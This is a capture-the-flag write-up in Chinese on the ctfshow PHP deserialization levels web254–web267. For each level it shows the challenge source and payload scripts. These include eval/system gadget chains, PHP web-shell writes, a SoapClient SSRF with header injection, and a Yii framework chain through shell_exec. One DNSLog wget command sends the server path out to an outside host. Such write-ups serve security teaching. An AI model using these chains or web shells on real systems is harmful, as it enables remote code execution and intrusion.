ctfshow-反序列化

知识点:php反序列化 – 青嵐

web254

<?php
class ctfShowUser{
   public $username='xxxxxx';
   public $password='xxxxxx';
   public $isVip=false;

   public function checkVip(){
       return $this->isVip;
  }
   public function login($u,$p){
       if($this->username===$u&&$this->password===$p){
           $this->isVip=true;
      }
       return $this->isVip;
  }
   public function vipOneKeyGetFlag(){
       if($this->isVip){
           global $flag;
           echo "your flag is ".$flag;
      }else{
           echo "no vip, no flag";
      }
  }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
   $user = new ctfShowUser();
   if($user->login($username,$password)){
       if($user->checkVip()){
           $user->vipOneKeyGetFlag();
      }
  }else{
       echo "no vip,no flag";
  }
}

代码审计,首先初始化ctfShowUser类,在第二层if当中首先执行login方法,用于判断我们get传入的参数username和password是否与类中一致,发现用户名和密码都是xxxxxx,因此我们只需要传入username=xxxxxx&password=xxxxxx即可获取flag

web255

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
   public $username='xxxxxx';
   public $password='xxxxxx';
   public $isVip=false;

   public function checkVip(){
       return $this->isVip;
  }
   public function login($u,$p){
       return $this->username===$u&&$this->password===$p;
  }
   public function vipOneKeyGetFlag(){
       if($this->isVip){
           global $flag;
           echo "your flag is ".$flag;
      }else{
           echo "no vip, no flag";
      }
  }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
   $user = unserialize($_COOKIE['user']);    
   if($user->login($username,$password)){
       if($user->checkVip()){
           $user->vipOneKeyGetFlag();
      }
  }else{
       echo "no vip,no flag";
  }
}

代码审计,if第一层判断是否传入username和password值,且类中的checkVip需要$this->isVip是true,之后执行vipOneKeyGetFlag获取flag。因此在反序列化时需要修改false为true

其次if第二层判断中login方法判断username和password都为所声明的xxxxxx

据此写出反序列化代码

<?php
class ctfShowUser{
   public $username='xxxxxx';
   public $password='xxxxxx';
   public $isVip=true;
}

echo urlencode(serialize(new ctfShowUser()));

因为cookie字段中的值需要url编码,所以利用urlencode进行编码,得到结果进行修改cookie,cookie中的字段名为user,字段值为运行php脚本后的值

最后进行get传参:username=xxxxxx&password=xxxxxx

web256

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
   public $username='xxxxxx';
   public $password='xxxxxx';
   public $isVip=false;

   public function checkVip(){
       return $this->isVip;
  }
   public function login($u,$p){
       return $this->username===$u&&$this->password===$p;
  }
   public function vipOneKeyGetFlag(){
       if($this->isVip){
           global $flag;
           if($this->username!==$this->password){
                   echo "your flag is ".$flag;
            }
      }else{
           echo "no vip, no flag";
      }
  }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
   $user = unserialize($_COOKIE['user']);    
   if($user->login($username,$password)){
       if($user->checkVip()){
           $user->vipOneKeyGetFlag();
      }
  }else{
       echo "no vip,no flag";
  }
}

大致和上一题相同,多了一个判断

if($this->username!==$this->password)

也就是username和password的值不能相同

那可以反序列化对这两个变量进行修改

<?php
class ctfShowUser{
   public $username='a';
   public $password='b';
   public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()));

最后get对username和password传参需要与反序列化所设置的值相同

payload:?username=a&password=b

web257

<?php

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
   private $username='xxxxxx';
   private $password='xxxxxx';
   private $isVip=false;
   private $class = 'info';

   public function __construct(){
       $this->class=new info();
  }
   public function login($u,$p){
       return $this->username===$u&&$this->password===$p;
  }
   public function __destruct(){
       $this->class->getInfo();
  }

}

class info{
   private $user='xxxxxx';
   public function getInfo(){
       return $this->user;
  }
}

class backDoor{
   private $code;
   public function getInfo(){
       eval($this->code);
  }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
   $user = unserialize($_COOKIE['user']);
   $user->login($username,$password);
}

__construct当对象被创建的时候自动调用,对对象进行初始化。当所有的操作执行完毕之后,需要释放序列化的对象,触发__destruct()魔术方法

代码中可以看到有在bakckDoor类中有eval函数,可以利用eval函数执行命令

因此我们只需要在执行__construct的时候初始化backDoor类,方便我们进行命令执行的利用,之后反序列化结束后,会执行__destruct(),此时eval($this->code);等价于eval(system('tac flag.php');)

<?php
class ctfShowUser{
   private $username='xxxxxx';
   private $password='xxxxxx';
   private $isVip=false;
   private $class = 'backDoor';

   public function __construct(){
       $this->class=new backDoor();
  }
   public function __destruct(){
       $this->class->getInfo();
  }
}
class backDoor{
   private $code='system("tac flag.php");';
   public function getInfo(){
       eval($this->code);
  }
}
echo urlencode(serialize(new ctfShowUser()));

最后通过get传参username和password即可

web258—正则匹配绕过

<?php

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
   public $username='xxxxxx';
   public $password='xxxxxx';
   public $isVip=false;
   public $class = 'info';

   public function __construct(){
       $this->class=new info();
  }
   public function login($u,$p){
       return $this->username===$u&&$this->password===$p;
  }
   public function __destruct(){
       $this->class->getInfo();
  }

}

class info{
   public $user='xxxxxx';
   public function getInfo(){
       return $this->user;
  }
}

class backDoor{
   public $code;
   public function getInfo(){
       eval($this->code);
  }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
   if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
       $user = unserialize($_COOKIE['user']);
  }
   $user->login($username,$password);
}

代码审计,需要绕过preg_match(’/[oc]:\d+:/i’, $var),使用➕

不进行绕过时,序列化后输出的是

O:11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:23:"system("tac flag.php");";}}

由于正则匹配会匹配得到,所以需要将O:11进行绕过,替换成O:+11

<?php
class ctfShowUser{
   public $username='xxxxxx';
   public $password='xxxxxx';
   public $isVip=false;
   public $class = 'info';

   public function __construct(){
       $this->class=new backDoor();
  }
   public function login($u,$p){
       return $this->username===$u&&$this->password===$p;
  }
   public function __destruct(){
       $this->class->getInfo();
  }

}
class backDoor{
   public $code = 'system("tac flag.php");';
   public function getInfo(){
       eval($this->code);
  }
}
$a = serialize(new ctfShowUser());
$b = urlencode(str_replace('O:','O:+',$a));
echo $b;

剩下的做法和上题一样

web259—SoapClient

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

这个题利用的是php原生类SoapClient

该类的构造函数如下:

public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

应该还有一条判断真实ip的也就是

if($_SERVER['REMOTE_ADDR']==='127.0.0.1'){
xxxxxx;
}

所以首先得利用ssrf访问flag.php接着构造post数据 toke=ctfshow和请求头X-Forwarded-For 就能把flag写到flag.txt中了。

payload

<?php
$ua = "ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";

$client = new SoapClient(null,array('uri' => 'http://127,0.0.1/','location' => 'http://127.0.0.1/flag.php','user_agent' => $ua));

echo urlencode(serialize($client));

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
   echo $flag;
}

就只有正则匹配得到ctfshow_i_love_36D就可以输出flag了

<?php
class ctfshow{
public $ctfshow=ctfshow_i_love_36D;
}
echo serialize(new ctfshow());

序列化后得到的值通过get方式传参给ctfshow

web261

<?php

highlight_file(__FILE__);

class ctfshowvip{
   public $username;
   public $password;
   public $code;

   public function __construct($u,$p){
       $this->username=$u;
       $this->password=$p;
  }
   public function __wakeup(){
       if($this->username!='' || $this->password!=''){
           die('error');
      }
  }
   public function __invoke(){
       eval($this->code);
  }

   public function __sleep(){
       $this->username='';
       $this->password='';
  }
   public function __unserialize($data){
       $this->username=$data['username'];
       $this->password=$data['password'];
       $this->code = $this->username.$this->password;
  }
   public function __destruct(){
       if($this->code==0x36d){
           file_put_contents($this->username, $this->password);
      }
  }
}

unserialize($_GET['vip']);

如果类中同时定义了 unserialize() 和 wakeup() 两个魔术方法, 则只有 unserialize() 方法会生效,wakeup() 方法会被忽略。

当反序列化时会进入unserialize中,而且也没有什么方法可以进入到invoke中。所以直接就朝着写文件搞就可以了。

只要满足code==0x36d(877)就可以了。 而code是username和password拼接出来的。 所以只要username=877.php password=shell就可以了。 877.php==877是成立的(弱类型比较)

<?php
class ctfshowvip{
   public $username;
   public $password;

   public function __construct($u,$p){
       $this->username=$u;
       $this->password=$p;
  }
}
$a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
echo serialize($a);

web262—字符逃逸

首页源码

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
   public $from;
   public $msg;
   public $to;
   public $token='user';
   public function __construct($f,$m,$t){
       $this->from = $f;
       $this->msg = $m;
       $this->to = $t;
  }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
   $msg = new message($f,$m,$t);
   $umsg = str_replace('fuck', 'loveU', serialize($msg));
   setcookie('msg',base64_encode($umsg));
   echo 'Your message has been sent';
}

highlight_file(__FILE__);

可以看到有字符替换,fuck替换成loveU,属于字符变多,每次变多一个字符

序列化后base64加密设置成cookie

提示里有message.php

message.php

<?php
highlight_file(__FILE__);
include('flag.php');

class message{
   public $from;
   public $msg;
   public $to;
   public $token='user';
   public function __construct($f,$m,$t){
       $this->from = $f;
       $this->msg = $m;
       $this->to = $t;
  }
}

if(isset($_COOKIE['msg'])){
   $msg = unserialize(base64_decode($_COOKIE['msg']));
   if($msg->token=='admin'){
       echo $flag;
  }
}

if判断里需要token==admin,而class类里token为user,所以需要逃逸后修改

关于字符逃逸在知识点里有讲怎么逃逸,这里直接上payload

<?php
class message{
   public $from;
   public $msg;
   public $to;
   public $token='user';
   public function __construct($f,$m,$t){
       $this->from = $f;
       $this->msg = $m;
       $this->to = $t;
  }
}
function filter($msg){
return str_replace('fuck', 'loveU', $msg);
}

$msg = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');

$msg_1 = base64_encode(filter(serialize($msg)));

echo $msg_1;
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";} 改成admin后这里有62个字符,因此需要输入62个fuck进行逃逸

web263—session

源码泄露,/www.zip下载

index.php

image-20210714011319973

写入cookie,名为limit

check.php

image-20210714011601613

调用cookie

inc.php

image-20210714011652380

类User中,有file_put_contents函数,可以username作为文件名,password为一句话木马

并且在inc.php中,有ini_set('session.serialize_handler', 'php');,说明读取session引擎为默认php引擎,可以利用加|进行伪造序列化

思路为,构造一个序列化的payload,伪造为limit的cookie,访问index.php写入,再访问check.php进行调用,然后访问log-写入的文件名即可调用写入的一句话木马

payload

<?php
class User{
   public $username;
   public $password;
   public $status;
   function __construct($username,$password){
       $this->username = $username;
       $this->password = $password;
  }
   function setStatus($s){
       $this->status=$s;
  }
}

$User = new User('1.php','<?php system("tac flag*");?>');

echo base64_encode('|'.serialize($User));

web264

大致源码跟web262相同,有区别的是在message.php中的这段代码

if(isset($_COOKIE['msg'])){
   $msg = unserialize(base64_decode($_SESSION['msg']));
   if($msg->token=='admin'){
       echo $flag;
  }
}

用的是session,且需要存在名为msg的cookie

构造payload的方法和262相同,然后url传参

f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

最后在cookie上添加msg,值随便传,再访问message.php

web265—按地址传参

<?php

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
   public $token;
   public $password;

   public function __construct($t,$p){
       $this->token=$t;
       $this->password = $p;
  }
   public function login(){
       return $this->token===$this->password;
  }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
   echo $flag;
}

登录需要token值与password值全等,而token值是一个随机数的md5,是不可确定的。因此需要将password值的地址传到token上才能保证值相等

考察的是php按地址传参&,需要引用一个中间变量

payload

<?php
class ctfshowAdmin{
   public $token;
   public $password;

   public function __construct($t,$p){
       $this->token=$t;
       $this->password = &$this->token;
  }
   public function login(){
       return $this->token===$this->password;
  }
}
$admin = new ctfshowAdmin('123','123');
echo serialize($admin);

web266—大小写

<?php

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
   public $username='xxxxxx';
   public $password='xxxxxx';
   public function __construct($u,$p){
       $this->username=$u;
       $this->password=$p;
  }
   public function login(){
       return $this->username===$this->password;
  }
   public function __toString(){
       return $this->username;
  }
   public function __destruct(){
       global $flag;
       echo $flag;
  }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
   throw new Exception("Error $ctfshowo",1);
}

可以看到__destruct方法可以输出flag,但在正则匹配中含有ctfshow就抛出异常,序列化后含有ctfshow,因此需要绕过

其中接收序列化数据的是$cs,而$cs是用php://input

PHP大小写:函数名和类名不区分,变量名区分

php://input是一个只读信息流,当请求方式是post。一般服务端使用file_get_contents获取php://input内容file_get_contents(php://input)

因此在序列化后改其中ctfshow的字母为大写,用bp抓包post上去即可

<?php
class ctfshow{
   public $username='xxxxxx';
   public $password='xxxxxx';
}
$ctf = new ctfshow();
echo serialize($ctf);

web267—yii反序列化漏洞

弱密码 admin admin登录成功后,在about页面发现提示?view-source 访问url/?r=site/about&view-source得到反序列化点

///backdoor/shell
unserialize(base64_decode($_GET['code']))

payload ?r=backdoor/shell&code=poc

在poc中得知当前路径所在的步骤

用dnslog:DNSLog Platform生成SubDomain

构造参数:

$this->id = "wget `pwd|base64`.tmrolu.dnslog.cn";
image-20210714174201304

然后base64解密得到当前路径

poc

<?php
namespace yii\rest{
   class CreateAction{
       public $checkAccess;
       public $id;

       public function __construct(){
           $this->checkAccess = 'shell_exec';
           $this->id = "echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php";
      }
  }
}

namespace Faker{
   use yii\rest\CreateAction;

   class Generator{
       protected $formatters;

       public function __construct(){
           $this->formatters['close'] = [new CreateAction(), 'run'];
      }
  }
}

namespace yii\db{
   use Faker\Generator;

   class BatchQueryResult{
       private $_dataReader;

       public function __construct(){
           $this->_dataReader = new Generator;
      }
  }
}
namespace{
   echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇